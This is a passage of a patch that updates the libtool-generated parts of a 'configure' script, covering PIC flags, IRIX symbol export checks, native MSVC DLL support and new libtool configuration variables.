+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9803,19 +10411,19 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+ case $host_cpu in
+ hppa*64*)
+- archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+ case $host_cpu in
+ hppa*64*)
+- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+ archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+@@ -9888,23 +10496,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9989,7 +10610,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -10008,9 +10629,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10586,8 +11207,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10620,13 +11242,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10708,7 +11388,7 @@ haiku*)
+ soname_spec='${libname}${release}${shared_ext}$major'
+ shlibpath_var=LIBRARY_PATH
+ shlibpath_overrides_runpath=yes
+- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
++ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
+ hardcode_into_libs=yes
+ ;;
+
+@@ -10815,12 +11495,7 @@ linux*oldld* | linux*aout* | linux*coff*)
+ ;;
+
+ # This must be Linux ELF.
+-
+-# uclinux* changes (here and below) have been submitted to the libtool
+-# project, but have not yet been accepted: they are GCC-local changes
+-# for the time being. (See
+-# https://lists.gnu.org/archive/html/libtool-patches/2018-05/msg00000.html)
+-linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu* | uclinuxfdpiceabi)
++linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*)
+ version_type=linux
+ need_lib_prefix=no
+ need_version=no
+@@ -11509,7 +12184,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11512 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11553,10 +12228,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11615,7 +12290,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11618 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11659,10 +12334,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -14948,13 +15623,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -14969,14 +15651,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -15009,12 +15694,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -15069,8 +15754,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -15080,12 +15770,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -15101,7 +15793,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -15137,6 +15828,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -15835,7 +16527,8 @@ esac ;;
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -15938,19 +16631,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -15980,6 +16696,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -15989,6 +16711,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -16103,12 +16828,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -16195,9 +16920,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -16213,6 +16935,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -16245,210 +16970,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
